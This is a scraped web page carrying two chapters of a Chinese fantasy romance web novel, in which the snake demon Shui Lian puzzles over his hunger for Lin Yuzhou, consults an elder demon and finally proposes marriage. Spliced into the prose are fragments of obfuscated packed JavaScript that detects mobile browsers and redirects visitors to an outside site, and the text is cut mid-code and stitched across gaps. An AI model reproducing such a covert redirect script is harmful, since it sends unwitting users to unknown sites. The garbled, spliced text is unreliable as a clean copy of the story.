l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309431|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它含在嘴里捧在心上。”严瑾澜颇为心酸地说,“这叫什么,可爱侵略症?” 水涟下意识看了眼蔺雨洲。 “看我干嘛?你也想养猫?”蔺雨洲对上他突然的视线,满脸疑惑,“想养猫就想着吧,我猫毛过敏。” 一点都不可爱。 水涟收回目光,面无表情地想。 人类会对心爱的对象产生咬一口,吃下去的冲动,那他对蔺雨洲的食欲来源于何处呢? 难道他也爱蔺雨洲吗? 两个发问震得他头脑发懵,大惊失色,忍不住又看向蔺雨洲。 这次为避免被发现,他用隐蔽的方式,细致观察蔺雨洲,企图找出些许蛛丝马迹,用于佐证他“爱”蔺雨洲这件事。 他从那双含笑的眼开始,到挺直俊逸的鼻梁,最后落在略有肉感的下唇。 水涟只能意识到食欲的疯涨。 衣物下的腿蠢蠢欲动,在变蛇和保持原样之间艰难抉择。 被桌布遮掩的手浮现隐约蛇鳞,水涟的呼吸逐渐变得紧促,一只手却在这时探上他的额头。 “身体不舒服?”蔺雨洲的手背抵住他,替他粗糙感知体温,“没有发烧啊。” 水涟已经不愿细想为什么他用了那么隐晦的观察方式,蔺雨洲还是能迅速注意到。 他只是低下头,怏怏道:“没有。” “今天就到这吧,时间不早,估计到他按时睡觉的点了。”蔺雨洲站起身,搀住水涟胳膊,“我先带他回家。” 他说这话时像个真正成熟的年长者,而水涟是他需要精心照料的小孩。 严瑾澜他们没有多挽留,纷纷和他俩道别。 返程的车上,水涟靠着车窗发呆,脑袋震了没两下,便被蔺雨洲一把薅了过来,枕在他肩膀上:“本来就傻,等会儿脑子又震傻了。” 水涟其实想离他远些,一靠近他,猛烈的食欲就会涌上来。 听他难听的话,还是枕着没动。 水涟的思绪胡乱飘过,最后仍旧会落到他爱不爱蔺雨洲这件事上。 说到底,妖真的会有人类的七情六欲吗?他真的能理解人类的“爱”么? “等会儿就到家,现在先别睡。”蔺雨洲大抵觉得他太安静,爪子又痒起来,没忍住去扒拉他,水涟被扒拉烦了,一把攥住他的手,抬眼无声注视他。 包厢内见到的乖顺无辜全都消失得无影无踪,昏暗车厢内,蔺雨洲只能见到那双暗紫色眼眸里的阴森。 车外灯光透过车窗落在顶上,如同一瞬掠过的银鱼。水涟张张口,忽然想问他“爱”究竟是什么。 他心里乱麻一片,只觉得蔺雨洲不会给他什么答案,于是像只蚌壳,紧紧封住嘴,重新枕着窗户去了。 蔺雨洲低头盯着被他攥过的手,忽地陷入沉默。 沉默一直持续到回家。水涟和蔺雨洲道了声晚安,便安静地回了自己房间,锁上了门。 房间内未开灯,只有月光倾泻流入的微弱光芒。水涟心神不宁,被风吹了吹,才清醒过来。 然而一清醒,他突然反应过来出门前,他的房门和窗户都是关上的。 他抬眼望去,窗户边坐着一个身影,长尾自窗沿滑落,是一只蛇妖。 布料撕裂声后,黑色蛇尾从玄色长衫下化出。水涟挺直身躯,警惕问:“谁?” 蛇妖收起烟斗,扭头看向他,眼瞳猩红:“不是你让人来找我的么?” 水涟半眯眼道:“佘暮烟?” 佘暮烟游下窗台,应了一声。 他在离水涟一臂距离的地方停下:“水涟,好久不见了。” 20.第 20 章 水涟有些恍惚,他从未见过佘暮烟,不知道他这句“好久不见”究竟从何谈起。 “你还是个蛋时,我就见过你了。”佘暮烟分明是个蛇妖,却生了双妖媚的狐狸眼,拉长的眼尾活像带钩子。 水涟默默后退半步,连尾尖都蜷缩盘起来,同他血红的蛇尾拉开距离。 佘暮烟倒也不计较,施施然勾过一旁的椅子坐下:“说吧,水家小少爷,让人跟在我身后跟了十年,想知道什么?” 他已经是这世间为数不多活了千年的妖,很多困扰水涟的问题,在他眼里只不过随口闲聊的内容。 水涟忌惮他强大的气息,并没有直接说出疑惑,反而谨慎问道:“你有要求吗?” 万事万物,想得到,必要付出同等代价,水涟对这个关系了如指掌。 没有见到佘暮烟前,他尚可拿着水澜当年帮过佘暮烟一回这事,充当交易回报。 但见到佘暮烟后,这个念头瞬间被摁了下去。 水涯是他努努力能够处理的对象,可佘暮烟不是。 佘暮烟轻笑一声,似乎对他的反应感到十分有意思。他蛇尾一摆,以迅雷不及掩耳之势圈住水涟的腰,直接将他圈到了身前。 “我要什么,你都能给出来么?”他的身躯绷紧膨胀,居高临下注视水涟,威慑满溢而出,目光紧贴在他的脸上,半是戏谑半含煞气开口。 然而那目光紧密深沉,同他的语气千差万别。更像是对待流离失所的友人,甚至有难以辨别的哀伤。 水涟腰腹紧绷,同他的蛇尾角力,不动声色道:“能力范围之内。佘老板应该也没法从我身上得到没有的东西吧?” 佘暮烟无声叹息,松开他,重新盘回椅子上:“有你这一句就够了。” “我的要求并不难,”他同水涟道,“我要你帮我找个人。” 水涟一怔:“什么人?” 佘暮烟蛇尾一摆,笑眯眯道:“时间到了,你就知道我要找什么人。现在轮到你了。” “你想从我这里,知道什么呢?” 水涟的尾尖不自觉勾了勾虚空,他微微低下头,轻声道:“我一直很饿。” “很饿?”佘暮烟皱了皱眉,“哪种饿?” 水涟从八岁那年变蛇产生的饥饿感开始讲,最后简要说明他企图恢复力量的过程中,每时每刻都有种对力量的渴求,这种渴求让他感到非常的“饿”。 佘暮烟摸了摸下巴,沉吟道:“灵气不够用了。” 他从椅子上起身,游到水涟身侧:“你的内府被锁住,妖力冲不出来,周身又不够用,自然会‘饿’。挑个时间回汜暝,妖界残余的灵气说不定能让那道锁解开。当然,你要是胆子够大,你就去阴炽谷。” 水涟心念一转,明白他的意思,低低应道:“明白了,多谢。” 佘暮烟停留在原地没动,显然还在等他说别的。 水涟摸摸鼻尖,说话音量又低了两分,难为情道:“还有件……” 佘暮烟笑眼弯弯,调侃似的开口:“说啊。” 少年蛇妖心一横,咬牙一口气全盘托出:“我对一个人产生了食欲,看见他就很饿,很想把他吃了。” 他实在琢磨不明白自己为什么会想吃了蔺雨洲,今天好不容易碰到佘暮烟,干脆不要脸面全问了。 “噗嗤。”佘暮烟抿唇,蛇尾无声发力,最后还是没忍住,放声大笑:“哈哈哈……你居然问的出来……哈哈哈……” 水涟叫他笑得无地自容,白净的面皮发红,见佘暮烟还有持之以恒笑个不停的意思,恼羞成怒道:“别笑了。” 佘暮烟笑得上气不接下气,蛇鳞都情不自禁抖动翕张。他笑够了,才睁开眼,猩红的眼瞳比方才更加明亮。 他的视线穿过水涟暗紫色的眼眸,似乎要穿透皮囊窥见毫无保留的灵魂。 “你的幽精——”话音未完,他神色一凛,目光转向房间门口。 脚步细微的振动透过地面传来,伴随人类气息,化作“笃笃”的敲门声。 “水涟,你睡了吗?” 佘暮烟神色又是一变,压低声道:“你想吃了他?” 这话里的调笑意味实在太浓烈,水涟是个成熟期都没到的少年蛇妖,脸皮薄得要命,不情不愿地点了下头。 “真有意思……”佘暮烟感慨道。他加快语速,轻声道:“你的幽精本该白茫茫一片,偏偏多了一抹颜色。找出这颜色的由来,明了就不会‘饿’了。” “至于这颜色从哪儿来的……”狐狸眼蛇妖在水涟紧迫的眼神里拖长声音,“解铃还须系铃人,找找看吧。” 水涟一滞,这答案有和没有一样! 窗户大开,初夏的夜风裹着皎洁月色飘入,佘暮烟转瞬间已扶住窗框,他蛇尾一卷,在水涟难以置信的表情里狡黠一笑:“你合我眼缘,给你个提示,远在天边,近在眼前。” 蔺雨洲的敲门声与问询再次响起:“水涟,我有话和你说。” 水涟被这两头的动静搞得焦头烂额。佘暮烟的话又叫他一头雾水,简直搞不明白到底是什么意思。 他见对方翻下窗户,匆匆伸手去抓:“等等!” 五指间只有风与月色穿梭而过,留下一句模糊不清的话语,依稀是“红鸾星动”。 佘暮烟早已失去踪影。 水涟暗骂一句,扭头拉开房门。 蔺雨洲敲门的动作尴尬停在半空,他挠挠鼻尖,轻笑两声:“你还没睡啊。” 水涟心知佘暮烟的模样,他再怎么追问大概也得不到详尽答案,蔺雨洲的打扰只是巧合。 只是火大避不可免。 他深吸一口气,将将咽下到嘴边的不快,面无表情问道:“要和我说什么。” 蔺雨洲倚着门框,混不吝地往他黑黢黢的房间探头:“你刚才在和谁说话吗?” 水涟微微侧身,把清冷空旷的房间展示给他:“没有。” 蔺雨洲撇撇嘴,抓抓头发,没话找话:“我就是过来问问你,身体舒不舒服。” “舒服。” “晚饭吃饱了吗?” “吃饱了。” 蔺雨洲看天看地,绞尽脑汁想还有没有可以问的,水涟的耐性却直接到头:“你到底要和我说什么?” 他冷着一张脸看蔺雨洲,就见男人原地踟蹰半天,跟做什么心理建设似的,大半天才声如蚊蚋,含含糊糊哼出一句:“感觉你不太高兴,想问问你怎么了。” 很显然夜深人静时分,也能叫嚣张跋扈大少爷生出那副百结柔肠,竟能让他淬了毒镶了刀的嘴说些温声细语似的关怀了。 他这人惯会口是心非,永远不爱好好说话,偶尔一次简直憋死他。 水涟那张淡然平静的脸叫他这句话豁开一个口,下意识抬手摸上他的脸,四处检查是不是真人:“你疯了?” 蔺雨洲一把撕开他,理直气壮骂道:“你脑子真被车震傻了?” 水涟悄然松了口气,只觉得这才对劲,收拾神态,敷衍似的道:“吃太撑难受的,可以了没。” 蔺雨洲显然不太可以,疑神疑鬼道:“能不能和我说实话?” “我为什么要和你说?”水涟没好气道,“你问什么我就必须要回答?” “为什么不能?”蔺雨洲上前半步,紧盯着水涟的双眸,“我要知道你为什么不高兴。” 他向来是这个霸道独/裁的糟糕性子。蔺大少爷小时候爹不疼娘不在的,也不妨碍他被捧着长大,捧出一副心高气傲唯我独尊模样。 水涟气个半死。 他还小蔺雨洲就这个狗脾气,他长大了,蔺雨洲也在外十年,一对上竟然还是这个狗脾气。 亏他还觉得蔺雨洲变化奇大! 他气极反笑:“你是我什么人,我还要把一言一行全部报给你?” 蔺雨洲想也不想:“我是你——” 水涟早就知道他要说什么狗屁倒灶的话,蛇尾缠住他腰身,直接将他卷进房间之内。尾尖一扫,房门紧跟着重重关上。 玄色长衫落地,十几米长的粗壮黑蛇骤然现身,将蔺雨洲完全绞住,蛇首微垂,暗紫色眼珠满是威胁。 水涟一寸寸环绕缠紧蔺雨洲,吻部在离他颈部一寸的地方停下,彻底张大口,带着毒素的獠牙轻贴在蔺雨洲的颈侧,声音低沉,发狠似的道:“你不是想知道我在想什么吗?” “我想吃了你。” 对蛇的原始恐惧会激起最本能的挣扎和逃跑念头,更别提还是条巨大的蛇。 水涟本以为这么一吓唬蔺雨洲至少能安分一会儿,却没想到这疯子疯得一如既往,坦坦荡荡,连点战栗都没有,任由他将毒牙贴在颈侧。 “吃啊。”这疯子挑衅他,语气又轻又柔,“你有本事就咬下去。” 水涟的身躯之上,每一块肌肉都在发力绞紧,蔺雨洲动弹不得,眼珠子倒有坚韧不拔的气性,转动去瞧他:“怎么,又不敢了?” 蛇尾重重在他大腿抽了两下,直把他抽得往床上倒。水涟松开他,蛇身在喀拉扭曲的声音里变形,长发披散半遮住赤/裸的胸膛。 他俯下身,长发扫过蔺雨洲的面颊,仿佛柔情蜜意的抚摸。水涟手朝身后轻轻一挥,窗户“砰”地关上,将所有风声一同隔绝在外。 寂静的房间只能听见平缓的呼吸声。 暗夜里,水涟那双眼睛却格外清楚。他盯着蔺雨洲的脸,佘暮烟的话语却在脑海中响起。 远在天边,近在眼前。 他神色紧绷,愈发觉得蔺雨洲实在“面目可憎”。 “这还是我回来后第一次见你变蛇。”蔺雨洲微微抬腰,换了个姿势,“挺漂亮的。” 他说得真情实感,水涟却没有半点被打动的意思。少年蛇妖用目光丈量蔺雨洲的身体,最后神色冷淡打开门,蛇尾直接卷着蔺雨洲的腰,把他打包扔了出去。 “砰!” 房门被用力关上,蔺雨洲稳妥站在门口,黑灯瞎火地朝房间喊:“高兴没啊?” 回应他的,是水涟咬牙切齿的“高兴”。 蔺雨洲应了声,心情处于一种复杂微妙的愉快中。 他琢磨不太出来水涟为什么想要吃了他,小孩到年纪了都会想吃人吗? 育儿经验严重不足的他展开幻想,一瘸一拐挪回房间去。 他倒吸一口冷气,只庆幸水涟尾巴抽他的位置刚好肉多,伤不到骨头。 死小子,尾巴还怪有劲儿的。 — 自从水涟现原身对他以示威胁后,蔺雨洲总是能在身后捕捉到他的影子。 少年蛇妖行动总是悄无声息,鬼魅一样突然现身,观察他的一举一动,用若有所思的目光紧紧盯住他不放。 虽然蔺雨洲在水涟不会吃了他这件事上非常自信,但老撞见这种情况,不免有些心里发毛。 他不怎么深刻地反思了一下自己的行为,得出“我完全没有错的结论”后,终于在一个结束加班的深夜逮住了水涟,把手臂伸到他面前:“咬吧。” 水涟沉默地盯着他,左眼写着你脑子有病,右眼写着有病就去治。 蔺雨洲一到深夜就会变得感性不少,他解释道:“我看你老是很馋的样子,虽然我不知道人到底有什么好吃的,给你咬口成不,就一口。” 水涟:“……” 他的脑子有种被工作污染过的美感,水涟不知道他的脑回路到底怎么生长,嘴巴都没张,就回房间缩起来了。 蔺雨洲只觉得他莫名其妙,青春期小孩都难搞,他理解。 那头回房间的水涟写下了今日对蔺雨洲的观察记录。 幽精乃三魂之一,与情/爱相关。佘暮烟说他对蔺雨洲产生食欲,是因为蔺雨洲影响了他的幽精,换过来说,他对蔺雨洲有情。 按照佘暮烟的说法,他的食欲和爱欲竟然能等同。 水涟是个严谨的记录者,分析自己对蔺雨洲看法的笔触十足辛辣。 他从对蔺雨洲表达威胁后的第二日开始记“蔺雨洲观察记录”,记了十三天,痛斥了蔺雨洲十三天,评价口吻是和蔺雨洲如出一辙的刻薄。 水涟实在没法透过自己批判蔺雨洲讨蛇厌行为的文字里窥见一丝“爱意”。 可每回一转头看见左手腕上蔺雨洲送的镯子,他又会想起那天雨雾弥漫下午,蔺雨洲拉过他的手轻声细语。 这点轻声细语加了大分,让水涟刀锋似的刻薄评价柔软三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水涟不为所动,在他开始长篇大论前,闭上眼睛神态扭曲视死如归开口:“我只想和你在家安静、简单地过生。” 气氛突然沉寂。 水涟睁开眼,看见蔺雨洲不太自然的神情。年轻男人被他的蛇尾缠住,视线左右飘移:“……那你不早说。” 完了。 水涟在心里想。 继学了蔺雨洲的毒舌刻薄之后,他又学了蔺雨洲的丧良心。 他完蛋了。 不过完不完蛋另说,至少这句罕见的、包含依赖的软话打消了蔺雨洲的念头。 他让人把乱七八糟的礼炮礼花,乐团生日进行曲,一米高的生日蛋糕塔,游轮烟花会,生日巡城祝福全部取消,重新定做了六寸大小,水涟喜欢的榛子巧克力生日蛋糕,叫厨师准备一桌烛光晚餐,就当是符合水涟要求的简单过生。 蔺河生六月五号匆匆赶回,给水涟送了个生日礼物,又忙着出差去了,帮助蔺雨洲达成人员精简的计划。 老宅的佣人白得一天假期,也给蔺雨洲和水涟准备了足够安静的空间。 蔺雨洲对此十分满意,水涟的要求他可是一个不落全满足了。 势必要让水涟感动到叫爹。 水涟则悄然松了口气。 没有那些看似热闹实则折磨他的庆祝仪式,他神经焦虑的症状都减轻不少,非常和平地迎来了六月六。 一人一蛇各怀鬼胎,在老宅里静候晚餐。 鉴于蔺雨洲已不是无所事事的高中生,还要忙着工作赚钱,静候的时间着实没太长。 水涟不会打扰他工作,又琢磨了一遍准备说出口的惊世骇俗言论,确认无误后,迎来了夜晚的降临。 厨师准备好晚餐后就隐藏了行踪。水涟和蔺雨洲在餐桌前落座,隔着幽幽烛光对视,都觉得对方那张脸不太安分。 “要我给你唱生日歌吗?”蔺雨洲点燃蛋糕上的蜡烛,笑问道。 水涟望向他光影模糊的面容,笃定点头:“要。” 蔺雨洲:“……” 水涟支着脸,意味深长问道:“隔着视频唱那么开心,现在唱不出口吗?” 隔着屏幕过生的时候,蔺雨洲给他唱生日歌还要强迫他听完。 这混账玩意儿是个五音不全的,走调走得水涟生不如死,每回他开腔,水涟都要大放在调的生日歌盖过去。 今年难得亲自莅临,总归要现场演唱一首才符合常规祝福流程。 蔺雨洲咬牙切齿看着他,皮笑肉不笑道:“行,我唱给你听,那你最好给我听完。” 他清清嗓,从牙齿间磨出荒腔走板的歌声:“祝你生日——” “谢谢。”水涟强势打断他,“你的心意我收到了。” 蔺雨洲:“……” 和水涟干一架的念头在他心里翻滚,最后生日蛋糕上插着的“18”形状蜡烛,打消了他的念头。 孩子生日,他得包容些,胸怀宽广些,多爱他一些。 爱是恒久忍耐,又有恩慈。 “行吧水少爷。”蔺雨洲呵呵一笑,朝蛋糕抬抬下巴,“许愿吹蜡烛吧。” 飘红摇摆的烛火映入水涟眼中,蔺雨洲的身影在这方烛火中模糊燃烧。他微微探身,狩猎般捕捉蔺雨洲的目光,缓缓开口:“我只有一个愿望。” 蔺雨洲根本没察觉他话里的丰富内涵,坦然道:“什么愿望?” 他放松身体,闲适开口:“别人我不知道,但如果是我,你的绝大多数愿望,我还是能帮你实现的。” “你确定?” 水涟慢条斯理反问他。 “当然,”蔺雨洲十分确定道,“说吧,什么愿望?成年生日,唯一一次可以肆意许愿并得到实现的机会,过时不候啊。” 水涟满意地笑了笑。 越漂亮的越有毒,蔺雨洲还不明白这个道理。他沉浸在博美人一笑的自得当中,甚至饶有兴致地抿了口酒。 所以在听清水涟的话时,这口酒就直接喷出来,不仅浇灭蜡烛,也浇灭他的得意。 “我要和你结婚。” 水涟说。